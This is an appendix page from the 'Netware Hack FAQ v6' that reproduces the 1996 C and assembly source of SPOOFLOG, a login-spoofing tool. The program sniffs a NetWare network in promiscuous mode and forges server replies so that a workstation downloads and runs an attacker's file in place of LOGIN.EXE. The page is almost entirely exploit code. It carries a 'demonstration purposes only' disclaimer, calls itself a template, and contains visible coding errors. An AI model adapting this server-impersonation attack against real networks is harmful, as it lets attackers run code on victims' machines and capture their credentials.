HostedDB - Dedicated UNIX Servers

-->
Netware Hack FAQ v6


Appendix Section

A-06. Source code to SPOOFLOG

This includes spooflog.c and spooflog.h, with Greg's comments in the code.


spooflog.c:


/* This file is Copyright 1996 by Greg Miller */

/* Any modifications to this file should be sent to
   gmiller@dey-systems.com, gmiller@grendel.ius.indiana.edu,
   gregmi@mis.net, as well as posted to comp.os.netware.security.
*/

/* Note:  This code isn't pretty.  I've sacraficed just about every
          programming convention for the speed of coding.
*/

/* I assume there is a Packet Driver installed on INT 0x60.  No checking
   is done.
*/

/* Login spoofing utility for all versions of NetWare */
/* This program is only a template, not a compete program */

/* This program will send a specified file as the LOGIN.EXE file
   to a specified workstation.  The file can be any file of the
   same length of LOGIN.EXE or shorter, and can be sent to any
   workstation the attacking station is capable of sniffing
   packets for.  This program uses the promiscuous mode of the
   adapter card, so a fast computer is needed (the more traffic
   the network has on it, the faster the attacking machine has to
   be.
*/

/*                              A General Explanation of the Attack

        This attack takes advantage of a zero knowledge state between the
    client and server.  Neither the client nor the server has the capability
        of authenticating itself to the other before the user is logged in.
        This allows any station on the network to immitate either the client or
        the server (however, immitating the server is the only useful attack).
        Once the LOGIN.EXE file is downloaded, the client can authenticate
        itself to the server (through the use of the password), however, the
        server still has no mechanism for authenticating itself to the
        client.  This allows for some "man in the middle" attacks against
        the login sequence.  Readers interested in the "man in the middle"
        attacks against the login sequence should see the "NetWare Hack FAQ"
        by Simple Nomad (version 4 or above).
*/

/*      NOTE:  THIS PROGRAM IS FOR DEMONSTRATION PURPOSES ONLY.  ANY MISUSE OF
           THIS PROGRAM TO BREAK INTO ANY SYSTEM IS A VIOLATION OF FEDERAL
                   LAW.
*/
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include "spooflog.h"

/*All variables are global to speed up processing time*/
int DataRemaining = TRUE;

BYTE packet[2000];
BYTE SendPacket[2000];

int ServerCurrentSequenceNumber;
int ClientCurrentSequenceNumber;

WORD handle;
int packet_received = FALSE;

BYTE SpoofStation[6] = {0xff,0xff,0xff,0xff,0xff,0xff};
BYTE OpenLoginRequest[] = {76,1,0x4e,0x11,16,'/','L','O','G','I','N',
                           '/','L','O','G','I','N','.','E','X','E'};
BYTE OpenLoginReply[] = {0};

int c;
WORD pktlen;
WORD Sendpktlen;

FILE *IN;

void Initialize(){
        /*  This procedure will ensure that the address and file specified on the
       command line are valid.  If not, a useage string is displayed.  This
       function also opens the file for reading, and reads in some of the file
       into a buffer to ensure that this attacking station beats the server to
       the response when the read is submitted by the workstation.
        */

        IN = fopen("spoof.dat","r");
}

static void far PacketReceived(){
        /*This function is called by the packet driver when a packet is
          received.  If AX=0 when the function is called, the packet driver
          is asking for a buffer to put the packet in.  If AX=1 then the
          packet has been copied into the buffer.
        */

        _asm{
                pop di          //Borland C 3.1 pushes DI for some reason.
                                //Remove this line if you compiler doesn't.

                cmp ax,1        //ax=0 for get buffer or 1 when done
                jz copy_done

                mov ax,seg packet
                mov ES,ax
                lea DI,packet
                mov cx,2000     //buffer length
                retf
        }

copy_done:
        packet_received = TRUE;
        pktlen=_CX;

        _asm{retf}
end:
}

void RegisterWithPKTDRV(){
        /*This function registers the "protocol stack" with the packet
          driver.  We give it the address of the function to call when
          a packet is received in ES:DI, the interface class in AL, and
          the interface type in BX.  DS:SI should point to the type of
          packets to receive, with the length of the type in CX, however,
          we'll just receive any type of packet so we leave DS:SI alone
          and make CX=0.
          We get a handle back from the INT 60h call in AX, we'll store
          it for later use.
        */

        _asm {
                pusha

                mov bx,0ffffh  //interface type for 3com 509
                mov dl,0
                mov cx,0    //receive any type of packet
                mov ax, seg PacketReceived
                mov es,ax
                lea di, PacketReceived
                mov ah,02
                mov al,01   //class type for 3com 509
                int 60h
                jc err

                mov handle,ax

                popa
        }

        printf("Registered with packet driver\r\n");
        return;
err:
        printf("Error registering stack: %d\r\n",_DH);
        _asm{popa}

}

void RelinquishProtocolStack(){
        /*  Relinqush control of the interface */

        _asm{
                pusha

                mov ah,5
                mov bx,handle
                int 60h
                jc err

                popa
        }

        printf("Stack Relinqushed\r\n");
        return;
err:
        printf("Error releasing Stack: %d",_DH);
}

void EnterPromiscuousMode(){
        /*This function puts the board in promiscuous mode by putting the
          receive mode in CX and the handle in BX.  Mode 6 is promiscuous.
        */
        _asm{
                pusha

                mov ah,14h
                mov bx,handle
                mov cx,6
                int 60h
                jc err

                popa
        }

        printf("Promiscuous mode set\r\n");
        return;
err:
        printf("Error entering promiscuous mode: %d\r\n",_DH);
        _asm{popa}
}

void printhex(BYTE d){
 BYTE temp;
 _asm{
  mov al,d
  shr al,1
  shr al,1
  shr al,1
  shr al,1
  and al,0fh
  add al,90h
  daa
  adc al,40h
  daa
 }
 temp=_AL;
 printf("%c",temp);
 _asm{
  mov al,d
  and al,0fh
  add al,90h
  daa
  adc al,40h
  daa
 }
 temp=_AL;
 printf("%c ",temp);
}

void SendPack(){

        _asm{   pusha

                mov ax,seg SendPacket
                mov ds,ax
                lea si,SendPacket
                mov cx,Sendpktlen
                mov ah,04
                int 60h

                jc err

                popa
        }
        for(c=0;c<pktlen;c++){printhex(packet[c]);}
        printf("\r\n");
        return;
err:
        printf("Error sending packet: %d\r\n",_DH);
        _asm{popa}
}

void SendOpenReply(){
        memcpy(SendPacket,(char*)packet[6],6); //Copy 802.3 dest addr
        memcpy((char*)SendPacket[6],packet,6); //Copy 802.3 src addr

        //Put 802.3 length here.
        SendPacket[12]=255;
        SendPacket[13]=255;

        memcpy((char*)SendPacket[20],(char*)packet[32],12); //Copy dest addr,net,sock
        memcpy((char*)SendPacket[32],(char*)packet[20],12); //Copy src addr,net,sock
        SendPacket[14]=0xff;SendPacket[15]=0xff; //Checksum
        SendPacket[19]=17;  //Packet type = NCP
        SendPacket[44]=0x33; SendPacket[45]=0x33; //Reply Type
        memcpy((char*)SendPacket[46],(char*)packet[46],4);  //Seq num,con num,task,con num hi
        SendPacket[50]=0;  //Completion code
        SendPacket[51]=0;  //Connection Status
        //File name
        //File Attrib
        //File exe type
        //File len
        //Create date
        //Last Access date
        //Last update date
        //Last update time

        printf("Spoofing Open Reply\r\n");
        SendPack();
}

void SendReadResponse(){
        memcpy(SendPacket,(char*)packet[6],6); //Copy 802.3 dest addr
        memcpy((char*)SendPacket[6],packet,6); //Copy 802.3 src addr
        memcpy((char*)SendPacket[20],(char*)packet[32],12); //Copy dest addr,net,sock
        memcpy((char*)SendPacket[32],(char*)packet[20],12); //Copy src addr,net,sock
        SendPacket[14]=0xff;SendPacket[15]=0xff; //Checksum
        SendPacket[19]=17;  //Packet type = NCP
        SendPacket[44]=0x33; SendPacket[45]=0x33; //Reply Type
        memcpy((char*)SendPacket[46],(char*)packet[46],4);  //Seq num,con num,task,con num hi
        SendPacket[50]=0;  //Completion code
        SendPacket[51]=0;  //Connection Status

        Sendpktlen=fread((void*)SendPacket[54],1,(packet[58]*255)+packet[59],IN);
        SendPacket[12]=(Sendpktlen+53)/255;
        SendPacket[13]=(Sendpktlen+53)%255;
        SendPacket[52]=Sendpktlen/255;
        SendPacket[53]=Sendpktlen%255;

        //IPX length


        if(SendPacket[0]==0){//Send Read Failure
        }

        SendPacket[12]=0;       //802.3 length hi
        SendPacket[13]=0;       //802.3 length lo

        printf("Spoofing Read Reply\r\n");
        SendPack();
}

void WaitForPacket(){
 while(!packet_received){}

 printf("Packet Received\r\n");
 for(c=0;c<pktlen;c++){printhex(packet[c]);}
 printf("\r\n");

 packet_received=FALSE;
}

int PacketIsStationsReadRequest(){
        if(memcmp(packet,SpoofStation,6) && (packet[19]==17) &&
          (packet[50]==72)){
           return TRUE;
        }
        return FALSE;
}

void WaitForStationRequestForLoginEXE(){
        /*  This function will monitor the network for the station to request an
       open of the SYS:\LOGIN\LOGIN.EXE.  The procedure will monitor the
       station's sequence numbers also.
        */

        int NotFoundOpenRequest = TRUE;

        while(NotFoundOpenRequest){
                WaitForPacket();
                if(memcmp((char*)packet[6],OpenLoginRequest,21))
                        NotFoundOpenRequest=FALSE;
        }
        SendOpenReply();
}

void SendStationAlternateFile(){
        /*  This function will intercept the server's reply to the station's request
       to open LOGIN.EXE and return a modified open reply giving the modified
       file's length to the workstation.  The function will then monitor for
       further read request on LOGIN.EXE and intercept those as well, returning
       the alternate LOGIN.EXE program which the workstation will then execute.
        */

        SendOpenReply();

        while(DataRemaining){
                /*  This loop will continuously wait for read requests and send responses
                    until the file buffer is exhausted.  When the station sends a read
                        request after the file buffer is exhausted, a read failed response is
                        sent.
                */

                WaitForPacket();
                if(PacketIsStationsReadRequest()){
                        SendReadResponse();
                }
        }
}

void ResynchSequenceNumbers(){
        /*  Actually, I believe the sequence numbers will stay synchronized without
            any further effort.  If so, this funciton isn't needed.
                What I expect to happen, is that the server will still ACK the requests
                sent by the workstation, thus still incrementing the sequence numbers for
                each request sent by the workstation.  Since the sequence numbers are only
                incremented by one each time, we can accurately predict the numbers the
                server would have used.  When the transfer is over, the server will have
                transmitted the same number of packets the client requested, so the
                sequence numbers should still be synchronized.
        */
}

void main(){

        Initialize();

        RegisterWithPKTDRV();
        EnterPromiscuousMode();

        WaitForStationRequestForLoginEXE();
        SendStationAlternateFile();

        ResynchSequenceNumbers();

        RelinquishProtocolStack(); /*Toggles prom mode off*/

}
spooflog.h:

#define TRUE -1
#define FALSE 0

typedef unsigned char BYTE;
typedef unsigned int WORD;
typedef unsigned long DWORD;

struct packet_SPX {
        WORD Checksum;
        WORD Length;
        BYTE TransportControl;
        BYTE PacketType;
        BYTE DestinationNetwork[4];
        BYTE DestinationNode[6];
        WORD DestinationSocket;
        BYTE SourceNetwork[4];
        BYTE SourceNode[6];
        WORD SourceSocket;
        BYTE ConnectionControl;
        BYTE DatastreamType;
        WORD SourceConnectionID;
        WORD DestinationConntectionID;
        WORD SequenceNumber;
        WORD AckNumber;
        WORD AllocationNumber;
        BYTE Data[534];
};

struct packet_IPX {
        WORD Checksum;
        WORD Length;
        BYTE TransportControl;
        BYTE PacketType;
        BYTE DestinationNetwork[4];
        BYTE DestinationNode[6];
        WORD DestinationSocket;
        BYTE SourceNetwork[4];
        BYTE SourceNode[6];
        WORD SourceSocket;
        struct packet_SPX Data;
};

struct frame_802_3 {
        BYTE preamble[7];
        BYTE StartFrameDelimeter[1];
        BYTE DestinationAddr[6];
        BYTE SourceAddr[6];
        WORD Length;
        struct packet_IPX Data; //contains pad and frame CRC check
};

struct NCP_reply{
        /*802.3 Header*/
        BYTE DestinationAddr[6];
        BYTE SourceAddr[6];
        WORD Length_802;

        /*IPX Header*/
        WORD Checksum;
        WORD Length_IPX;
        BYTE TransportControl;
        BYTE PacketType;
        BYTE DestinationNetwork[4];
        BYTE DestinationNode[6];
        WORD DestinationSocket;
        BYTE SourceNetwork[4];
        BYTE SourceNode[6];
        WORD SourceSocket;

        WORD ReplyType;
        BYTE SequenceNumber;
        BYTE ConnectionNumberLow;
        BYTE TaskNumber;
        BYTE ConnectionNumberHi;
        BYTE CompletionCode;
        BYTE ConnectionStatus;

        BYTE Data[1500];
};

struct NCP_request{

        /*802.3 Header*/
        BYTE DestinationAddr[6];
        BYTE SourceAddr[6];
        WORD Length_802;

        /*IPX Header*/
        WORD Checksum;
        WORD Length_IPX;
        BYTE TransportControl;
        BYTE PacketType;
        BYTE DestinationNetwork[4];
        BYTE DestinationNode[6];
        WORD DestinationSocket;
        BYTE SourceNetwork[4];
        BYTE SourceNode[6];
        WORD SourceSocket;

        /*NCP Header*/
        WORD RequestType;
        BYTE SequenceNumber;
        BYTE ConnectionNumberLow;
        BYTE TaskNumber;
        BYTE ConnectionNumberHi;

        BYTE Data[1500];
};

void Initialize();
void RegisterWithPKTDRV();
void EnterPromiscuousMode();
void WaitForStationRequestForLoginEXE();
void SendStationAlternateFile();
void ResynchSequenceNumbers();
void SendOpenReply();
void SendReadResponse();
void WaitForPacket();
int PacketIsStationsReadRequest();
void WaitForPacket();


[ Return to TOC | Return to FAQ Page ]